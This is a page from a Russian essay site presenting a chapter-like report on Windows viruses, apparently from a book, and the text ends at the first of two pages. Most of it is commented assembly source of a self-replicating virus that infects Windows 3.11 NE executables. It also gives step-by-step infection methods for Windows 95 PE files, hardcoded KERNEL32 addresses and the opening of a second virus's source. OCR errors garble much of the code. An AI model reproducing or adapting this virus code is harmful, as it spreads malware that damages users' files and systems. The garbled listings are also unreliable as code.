на тему рефераты
 
Главная | Карта сайта
на тему рефераты
РАЗДЕЛЫ

на тему рефераты
ПАРТНЕРЫ

на тему рефераты
АЛФАВИТ
... А Б В Г Д Е Ж З И К Л М Н О П Р С Т У Ф Х Ц Ч Ш Щ Э Ю Я

на тему рефераты
ПОИСК
Введите фамилию автора:


Доклад: Вирусы под Windows


Доклад: Вирусы под Windows

ВИРУСЫ ПОД WINDOWS

В этой главе рассказано
о вирусах, заражающих фай-
лы в операционной среде
Windows.
Наиболее подробно
рассмотрены вирусы под
Windows 95,
Представлены
исходные тексты вирусов
с подробными комментариями,
Также приведены основные
сведения о запускаемых фай-
лах программ под Windows,
их структуре, отличиях
от файлов DOS,

Вирусы под Windows 3.11

В исполняемом файле Windows содержатся в различных комбинациях
код, данные и ресурсы. Ресурсы - это BIN-данные для прикладных про-
грамм. Учитывая возможность запуска файла из DOS, формат данных
должен распознаваться обеими системами - и DOS, и Windows.
Для этого все исполняемые файлы под Windows содержат два заголов-
ка. Первый заголовок (старый) - распознается DOS как программа, вы-
водящая на экран "This program requires Microsoft Windows". Второй
заголовок (NewEXE) - для работы в Windows (см. приложение).

Как же заразить Windows NewEXE? На первый взгляд файл формата
WinNE - обычный ЕХЕ-файл. Начинается он с заголовка ЕХЕ для
DOS и программы (STUB), которая выводит сообщение "This program
requires Microsoft Windows".

Если в ЕХЕ-заголовке по смещению 18h стоит число 40h или больше,
значит по смещению 3Ch находится смещение заголовка NewEXE.

Заголовок NewEXE начинается с символов "NE". Далее идет собствен-
но заголовок, в котором содержатся различные данные, в том числе ад-
реса смещений таблиц сегментов, ресурсов и другие. После заголовка
расположена таблица сегментов, за ней - все остальные таблицы, далее
размещены собственно сегменты с кодом.

Итак, порядок действий:

1. Адрес заголовка NewEXE (DOS_Header+3Ch) уменьшается на 8.

2. Заголовок NewEXE сдвигается на 8 байт назад.

3. В таблицу сегментов добавляется новый элемент, описывающий
сегмент вируса.

4. CS:IP NewEXE изменяется на начало вирусного кода, само тело
вируса дописывается в конец файла.

Для загрузки в память (надо перехватить вектор INT 21h из-под
Windows) необходимо использовать функции DPMI (INT 31h). Дей-
ствия: выделение сегмента, изменение его прав доступа, запись вируса,
перехват прерывания 21h (делается с помощью функций DPMI).

В качестве примера приведен полный исходный текст вируса под Windows.
Принципы заражения такие же, как и при заражении^обычного ЕХЕ-фай-
ла,- изменяется структура ЕХЕ-файла и среда, в которЬй он работает.

.286

.MODEL TINY
.CODE

;Сохраним регистры и флаги
pushf
pusha
push ds
push es

.Проверим, доступен ли DPMI. Если доступен,
Продолжаем, если нет - выходим

mov ax,1686h

int 2Fh

or ax, ax

jz dpmi_exist

;Восстановим регистры и флаги
exit:

pop es

pop ds

popa

popf

.Запустим программу-носитель

db OEAh
reloclP dw 0
relocCS dw OFFFFh
dpmi_exist:

;Выделим линейный блок памяти, используя DPMI
mov ax,0501h
mov cx,OFFFFh
xor bx.bx
int 31 h

;Сохраним индекс и 32-битный линейный адрес
.полученного блока памяти в стеке

push si ~^

push di

push bx

push ex

;Создадим дескриптор в таблице LDT
хог ах,ах
mov ex, 1
int 31 h

;B поле адреса полученного дескриптора
.установим адрес нужного блока памяти

mov bx,ax

mov ах,7

pop dx

pop ex

int •31h

;B поле предела полученного дескриптора
остановим размер выделенного блока памяти

mov ах,8

mov dx,OFFFFh

хог сх.сх

int 31h

;В поле прав доступа полученного дескриптора установим значение,
соответствующее сегменту данных, доступному для чтения и записи

mov ах,9

mov cl, 1111001 Ob

хог ch,ch

int 31h

;3агрузим селектор в регистр DS. После этого регистр DS будет
оказывать на выделенный блок памяти
mov ds.bx

.Читаем из стека и сохраняем в памяти
;индекс полученного блока памяти

pop [mem_hnd+2]

pop [mem_hnd]

Получим текущую DTA
mov ah,2Fh
int 21 h
mov [DTA],bx
mov [DTA+2],es

;Найдем первый ЕХЕ-файл (маска *.ЕХЕ)
mov ah,4Eh
xor ex,ex

mov dx,OFFSET wild_exe
push ds
push cs
pop ds
int 21 h
pop ds

;Если файл найден, перейдем к заражению, иначе освободим
;выделенную область памяти и запустим программу-носитель
jnc found_exe

;0свободим выделенную область памяти
call free

.Запустим программу-носитель
jmp exit

.Перейдем к следующему файлу - этот не подходит
close_exe:

; Закроем файл
mov ah,3Eh
int 21h

;Найдем следующий файл
mov ah,4Fh
int 21h

;Если файл найден, перейдем к заражению, иначе освободим
-.выделенную область памяти и запустим программу-носитель
jnc found_exe

;0свободим выделенную область памяти
call free

;3апустим программу-носитель
jmp exit

;Файл найден, проверим его на пригодность к заражению
found ехе:

;0ткроем файл для чтения и записи
push ds

Ids dx, DWORD PTR [DTA]
add dx.lEh
mov ax,3D02h
int 21 h
pop ds

.Прочтем старый заголовок
mov dx.OFFSET old_hdr
mov bx.ax
mov cx,40h
mov ah,3Fh
int 21h

;Проверим сигнатуру, это ЕХЕ-файл?
cmp WORD PTR [old_hdr],"ZM"
jne close_exe

[Проверим смещение таблицы настройки адресов.

;Если значение больше 40h, то это не обычный ЕХЕ-файл.

;Не будем сразу делать вывод,

;что это NewEXE, потому^что это может оказаться

;РЕ-, LE-, LX-executable или другой

;(PE-executable описан в разделе,

[посвященном Windows 95, остальные

;типы ЕХЕ-файлов в этой книге не рассматриваются)

cmp [old_hdr+18h],WORD PTR 40h

jb close_exe

.Перейдем ко второму заголовку (может быть, это NewEXE?):

Переводим указатель к смещению, обозначенному в поле 3Ch

mov dx.WORD PTR [old_hdr+3Ch]

mov cx.WORD PTR [old_hdr+3Eh]

mov ax,4200h

int 21h

; Прочитаем второй заголовок
mov dx.OFFSET newJ-idr
mov ex,40h
mov ah,3fh
int 21h

[Проверим сигнатуру, если сигнатура "NE", то это NewEXE-файл
cmp WORD PTR [new_hdr],"EN"
jne close_exe

[Проверим, для Windows ли предназначен этот файл. Если да, будем
;заражать, иначе переходим к следующему файлу

mov al,[new_hdr+36h]

and al,2

jz close_exe

.Переместим указатель чтения/записи в таблицу сегментов,
;к элементу, обозначающему сегмент точки старта программы.
[Для этого прочтем значение регистра CS при запуске
[этого ЕХЕ-файла

mov dx.WORD PTR [new_hdr+16h]

;По номеру сегмента вычислим положение соответствующего ему
[элемента в таблице сегментов

dec dx

shi dx,3

;K результату прибавим смещение таблицы сегментов и смещение
.заголовка NewEXE

add dx,WORD PTR [new_hdr+22h]

add dx.WORO PTR [old_hdr+3ch]

mov cx.WORD PTR [old_hdr+3eh]

[Переместим указатель чтения/записи
mov ax,4200h
int 21 h

[Прочтем из таблицы сегментов смещение логического сектора
mov dx,OFFSET temp
mov ex, 2
mov ah,3Fh
int 21 h

.Вычислим смещение сегмента, опираясь на значения
.смещения логического сектора и множителя секторов

mov dx.WORD PTR [temp]

mov cx.WORD PTR [new_hdr+32h]

xor ax.ax

cal_entry:

shi dx,1

rcl ax,1

loop cal_entry

.Переместим 16 старших бит 32-битного результата в регистр СХ
mov cx,ax

;Прибавим к результату смещение стартового адреса (IP)
add dx,WORD PTR [new_hdr+14h]
adc cx.O

;Переместим указатель позиции чтения/записи на точку старта
.программы - результат вычисления

mov ax,4200h

int 21 h

;Считаем первые 10 байт после старта программы
mov dx, OFFSET temp
mov cx,10h
mov ah,3Fh
int 21 h

Проверим, заражен ли файл. Если считанные 10 байт в точности
;совпадают с первыми 10-ю байтами нашего вируса, файл заражен.
;В этом случае переходим к поиску следующего, иначе - заражаем

mov si.OFFSET temp

push cs

pop es

xor di.di

mov ex, 8

eld

rep cmpsw

jne ok_to_infect

jmp close_exe

Приступим к заражению
ok_to_infect:

Переместим NE-заголовок на 8 байт ближе к началу файла.
; Исправим соответствующие поля старого заголовка
sub WORD PTR [old_hdr+10h],8

sub WORD PTR [old_hdr+3ch],8
sbb WORD PTR [old_hdr+3eh],0

; Исправим значения таблиц в новом заголовке, чтобы переместились
;только заголовок и таблица сегментов (без остальных таблиц)

add WORD PTR [new_hdr+4],8

add WORD PTR [new_hdr+24h],8

add WORD PTR [new_hdr+26h],8

add WORD PTR [new_hdr+28h],8

add WORD PTR [new_hdr+2ah],8

;Сохраним оригинальные значения точек входа CS и IP
push WORD PTR [new_hdr+14h]
pop [hostJp]

pushTWORD PTR [new_hdr+16h]
pop [host_cs]

;Добавим еще один сегмент в таблицу сегментов и установим
;точку входа на его начало

mov WORD PTR [new_hdr+14h],0

inc WORD PTR [new_hdr+1ch]

push WORD PTR [new_hdr+1ch]

pop WORD PTR [new_hdr+16h]

.Переместим указатель чтения/записи в начало файла
;(к старому заголовку)

хог сх.сх

xor dx.dx

mov ax,4200h

int 21 h

;3апишем старый заголовок, так как модифицированы
;некоторые поля его копии в памяти

mov dx.OFFSET old_hdr

mov cx,40h

mov ah,40h

int 21 h

;Переместим указатель чтения/записи на начало нового
заголовка (его переместили на 8 байт к началу файла)

mov dx.WORD PTR [old_hdr+3ch]

mov cx,WORD PTR [old_hdr+3eh]

mov ax,4200h
int 21 h

;3апишем новый заголовок, так как в его копии
;в памяти некоторые поля модифицированы

mov dx, OFFSET new_hdr

mov cx,40h

mov ah,40h

int 21h

.Переместим указатель чтения/записи на 8 байт
;вперед - к началу таблицы сегментов

хог сх.сх

mov dx,8

mov ax,4201 h

int 21h

рассчитаем размер таблицы сегментов и считаем ее в память
mov dx,OFFSET temp
mov cx.WORD PTR [new_hdr+1ch]
dec ex
shi cx.3
push ex
mov ah,3Fh
int 21h

Переместим указатель чтения/записи назад, к позиции
;за 8 байт перед началом таблицы сегментов

pop dx

push dx

add dx,8

neg dx

mov cx,-1

mov ax,4201h

int 21h

;3апишем таблицу сегментов в файл, но не на ее прежнее место,
;а на 8 байт ближе к началу файла

mov dx,OFFSET temp

pop ex

mov ah,40h

int 21h

.Прочтем текущую позицию чтения/записи (конец таблицы сегментов)
xor сх,сх
xor dx.dx
mov^ ax,4201h
int 21 h

;Сохраним в стеке текущую позицию чтения/записи
push dx
push ax

.Получим длину файла, переместив указатель
^тения/записи в конец файла

xor сх.сх

xor dx,dx

mov ax,4202h

int 21 h

;Сохраним в стеке длину файла
push dx
push ax

;Вычислим и сохраним длину логического сектора
mov cx.WORD PTR [new_hdr+32h]
mov ax,1
shi ax.cl
mov [log_sec_len],ax

;Вычислим длину файла в логических секторах
mov сх.ах
pop ax
pop dx
div ex

-.Учтем неполный сектор. Если в результате получился
;остаток, увеличим количество секторов

or dx,dx

jz no_rmd

inc ax
no_rmd:

;3аполним поля нового элемента в таблице сегментов
mov [my_seg_entry],ax

3-1436

mov [my_seg_entry+2],OFFSET vir_end

mov [my_seg_entry+4],180h

mov [my_seg_entry+6],OFFSET vir_end

;Восстановим из стека позицию в файле конца таблицы секторов
pop dx
pop ex

Переместим указатель чтения/записи к этой позиции
mov ax,4200h
int 21 h

.Запишем в конец таблицы новый элемент
mov dx,OFFSET my_seg_entry
mov ex,8
mov ah,40h
int 21 h

;Скопируем тело вируса в область памяти, которую выделили

;в начале программы, для изменений в нем. В защищенном режиме

;(а работаем именно в нем), нельзя производить запись в сегмент

;кода. Если по какой-то причине нужно произвести изменение

;в сегменте кода, создается алиасный дескриптор данных

;(дескриптор, содержащий то же смещение и длину,

;что и сегмент кода), и дальнейшая работа ведется с ним.

;В данном случае просто воспользуемся выделенным блоком памяти

push ds

pop es

push cs

pop ds

xor si,si

mov di,OFFSET temp

mov ex,OFFSET vir_end

eld

rep movsb

push es

pop ds

Инициализируем адрес точки входа
mov si,OFFSET temp
mov WORD PTR [si+reloc!P],0
mov WORD PTR [si+relocCS],OFFFFh

Переместим указатель чтения/записи на новую точку входа

mov ax,[my_seg_entry]

mov cx,[log_sec_len]

mul ex

mov cx.dx

mov dx.ax

mov ax,4200h

int 21h

;3апишем тело вируса в файл

mov dx, OFFSET temp

mov ex,OFFSET vir_end

mov ah,40h

int 21h

.Инициализируем поля перемещаемого элемента
mov WORD PTR [reloc_data],1
mov BYTE PTR [reloc_data+2],3
mov BYTE PTR [reloc_data+3],4
mov WORD PTR [reloc_data+4],OFFSET reloclP

;3апишем перемещаемый элемент
mov dx,OFFSET reloc_data
mov ex, 10
mov ah,40h
int 21h

[Закроем файл
mov ah,3Eh
int 21h

.Освободим выделенный блок памяти
call free

;3апустим программу-носитель
jmp exit

.Процедура, освобождающая выделенный блок памяти
free PROC NEAR

mov ax,0502h

mov si,[mem_hnd]

mov di,[mem_hnd+2]

з*

int 31 h
ret
free ENDP

; Маска для поиска файлов
wild_exe DB "•ЕХЕ-.О

;Имя вируса

DB "WinTiny"

;Идентификатор, указывающий на конец инициализированных данных
vir_end:

.Индекс выделенного блока памяти
mem_hnd DW ?
DW ?

;Адрес текущей DTA
DTA DW ?
DW ?

;Место для хранения старого заголовка
olcLhdr DB 40h dup (?)

.Место для хранения нового заголовка
new_hdr DB 40h dup (?)

;Длина логического номера сектора
log_sec_len DW ?

; Новый элемент в таблице сегментов
my_seg_entry DW ?

DW ?

DW ?

DW ?

.Перемещаемый элемент
reloc_dataDW ?

DB ?

DB ?

DW?

;3начение оригинальной точки входа
host_cs DW ?
hostJp DW ?

;0бласть памяти для использования
temp DB ?
END

Вирусы под Windows 95

Формат Portable Executable используется Win32, Windows NT
и Windows 95, что делает его очень популярным, и в будущем, возмож-
но, он станет доминирующим форматом ЕХЕ. Этот формат значитель-
но отличается от NE-executable, используемого в Windows 3.11.

вызов Windows 95 API

Обычные приложения вызывают Windows 95 API (Application Program
Interface) используя таблицу импортируемых имен. Когда приложение
загружено, данные, необходимые для вызова API, заносятся в эту табли-
цу. В Windows 95, благодаря предусмотрительности фирмы-производите-
ля Microsoft, модифицировать таблицу импортируемых имен невозможно.

Эта проблема решается непосредственным вызовом KERNEL32. То есть
необходимо полностью игнорировать структуру вызова и перейти не-
посредственно на точку входа DLL.

Чтобы получить описатель (Handle) DLL/EXE, можно использовать
вызов API GetModuleHandle или другие функции для получения точек
входа модуля, включая функцию получения адреса API GetProcAddress.

Как вызывать API, имея возможность вызывать его и в то же время та-
кой возможности не имея? Ответ: вызывать API, расположение которо-
го в памяти известно - это API в файле KERNEL32.DLL, он находится
по постоянному адресу.

Вызов API приложениями выглядит приблизительно так:

call APLFUNCTIONJMAME
например:

call CreateFileA
После компиляции этот вызов выглядит так:

db 9Ah .инструкция call
dd 7777 ;смещение в таблице переходов

Код в таблице переходов похож на такой:

jmp far [offset into import table]

Смещение в таблице импортируемых имен содержит адрес диспетчера
для данной функции API. Этот адрес можно получить с помощью
GetProcAddress API. Диспетчер функций выглядит так:

push function value
call Module Entrypoint

Зная точки входа, можно вызывать их напрямую, минуя таблицу этого
модуля. Поэтому можно заменить вызовы KERNEL32.DLL в его стан-
дартной точке на вызовы непосредственно функций. Просто сохраняем
в стеке значение функции и вызываем точку входа в модуль.

Модуль KERNEL32 располагается в памяти статически - именно так
и предполагалось. Но конкретное место его расположения в разных вер-
сиях Windows 95 отличается. Это было проверено. Оказалось, что одна
функция (получение времени/даты) отличается номером. Для компен-
сации этих различий добавлена проверка двух различных мест на нали-
чие KERNEL32. Но если KERNEL32 все-таки не найден, вирус возвра-
щает управление программе-носителю.

Адреса и номера функций

Для June Test Release KERNEL32 находится по адресу OBFF93B95h, для
August Release - по адресу OBFF93ClDh. Можно найти другие значе-
ния функции, используя 32-битный отладчик. В таблице 3.1 приведены
адреса функций, которые нужны для работы вируса.

Таблица 3.1. Адреса некоторых функций KERNEL

Функция Адрес в June Test Release

Адрес в August Test
Release

GetCurrentDir BFF77744h BFF77744h
SetCurrentDir BFF7771Dh BFF7771Dh
GetTime BFF9DOB6h BFF9D14Eh
MessageBox BFF638D9h BFF638D9h
FindFile BFF77893h BFF77893h
FindNext BFF778CBh BFF778CBh
CreateFile BFF77817h BFF77817h
SetFilePointer BFF76FAOh BFF76FAOh
ReadFile BFF75806h BFF75806h
WriteFile BFF7580Dh BFF7580Dh
CloseFile BFF7BC72H BFF7BC72h


Соглашения о вызовах

Windows 95 написан на языках C++ (в основном) и Assembler. И, хотя
соглашения о вызовах просты для применения, Microsoft их не исполь-
зует. Все API под Wm95 используют Pascal Calling Convention. При-
мер - API, описанный в файлах справки Visual C++:

FARPROC GetProcAddress(

HMODULE hModule, // описатель DLL-модуля
LPCSTR IpszProc // имя функции

);

На первый взгляд кажется, что достаточно лишь сохранить в стеке опи-
сатель DLL-модуля (он стоит перед указателем на имя функции) и выз-
вать API. Но это не так. Параметры, согласно Pascal Calling Convention,
должны быть сохранены в стеке в обратном порядке:

push offset IpszProc

push dword ptr [hModule]

call GetProcAddress

Используя 32-битный отладчик, можно оттрассировать вызов и найти
вызов KERNEL32 для каждого конкретного случая. Это позволит полу-
чить номер функции и обойтись без необходимой для вызова таблицы
импортируемых имен.

Заражение файлов формата PE-executable

Определение положения начала РЕ-заголовка происходит аналогично
поиску начала NE-заголовка. Если смещение таблицы настройки адре-
сов (поле 18h) в заголовке ЕХЕ-файла 40h или больше, то по смещению
ЗСЬ находится смещение PE-executable заголовка. Сигнатура PE-execu-
table ("РЕ") находится, как и у NE-executable ЕХЕ-файла, в начале но-
вого заголовка.

Внутри РЕ-заголовка находится таблица объектов. Ее формат наиболее
важен по сравнению с прочими. Для добавления вирусного кода в но-
ситель и перехвата вирусом управления необходимо добавить элемент
в таблицу объектов.

Основные действия заражения PE-executable файла:

1. Найти смещение заголовка PE-executable в файле.

2. Считать достаточное количество информации из заголовка для
вычисления его полного размера.

3. Считать весь РЕ-заголовок и таблицу объектов.

4. Добавить новый объект в таблицу объектов.

5. Установить точку входа RVA на новый объект.

6. Дописать вирус к файлу по вычисленному физическому смещению.

7. Записать измененный РЕ-заголовок в файл.
Для определения расположения таблицы объектов следует воспользо-
ваться значением переменной "HeaderSize" (не путать с "NT
headersize"), которая содержит совместный размер заголовков DOS, РЕ
и таблицы объектов.

Для чтения таблицы объектов необходимо считать HeaderSize байт
от начала файла.

Таблица объектов расположена непосредственно за NT-заголовком. Зна-
чение "NTheadersize" показывает количество байт, следующих за полем
"flags". Итак, для определения смещения таблицы объектов нужно по-
лучить NTheaderSize и добавить размер поля флагов (24).

Добавление объекта: получив количество объектов, умножить его на 40
(размер элемента таблицы объектов). Таким образом определяется сме-
щение, по которому будет расположен вирус.

Данные для элемента таблицы объектов должны быть вычислены с исполь-
зованием информации в предыдущем элементе (элементе носителя).

RVA=((prev RVA+prev Virtual Size)/OBJ Alignment+1)

*OBJ Alignment

Virtual Size=((size of virus+buffer any space)/OBJ Alignment+1)

*OBJ Alignment

Physical Size=(size of virus/File Alignment+1 )*File Alignment

Physical Offset=prev Physical Offset+prev Physical Size

Object Flags=db 40h,0,O.COh

Entrypoint RVA=RVA

Теперь необходимо увеличить на единицу поле "количество объектов"
и записать код вируса по вычисленному "физическому смещению"
в размере "физического размера" байт.

Пример вируса под Windows 95

.386

locals

jumps

.model flat.STDCALL

include win32.inc некоторые 32-битные константы и структуры

L equ <LARGE>

;0пределим внешние функции, к которым будет подключаться вирус
extrn BeginPaint:PROC
extrn CreateWindowExA:PROC
extrn DefWindowProcA:PROC
extrn DispatchMessageA:PROC
extrn EndPaint:PROC
extrn ExitProcess.-PROC
extrn FindWindowA:PROC
extrn GetMessageA:PROC
extrn GetModuleHandleA:PROC
extrn GetStockObject:PROC
extrn lnvalidateRect:PROC
extrn LoadCursorA:PROC
extrn LoadlconA:PROC
extrn MessageBeep:PROC
extrn PostQuitMessage:PROC
extrn RegisterClassA:PROC
extrn ShowWindow:PROC
extrn SetWindowPos:PROC
extrn TextOutA:PROC
extrn TranslateMessage:PROC
extrn UpdateWindow:PROC

Страницы: 1, 2


на тему рефераты
НОВОСТИ на тему рефераты
на тему рефераты
ВХОД на тему рефераты
Логин:
Пароль:
регистрация
забыли пароль?

на тему рефераты    
на тему рефераты
ТЕГИ на тему рефераты

Рефераты бесплатно, реферат бесплатно, курсовые работы, реферат, доклады, рефераты, рефераты скачать, рефераты на тему, сочинения, курсовые, дипломы, научные работы и многое другое.


Copyright © 2012 г.
При использовании материалов - ссылка на сайт обязательна.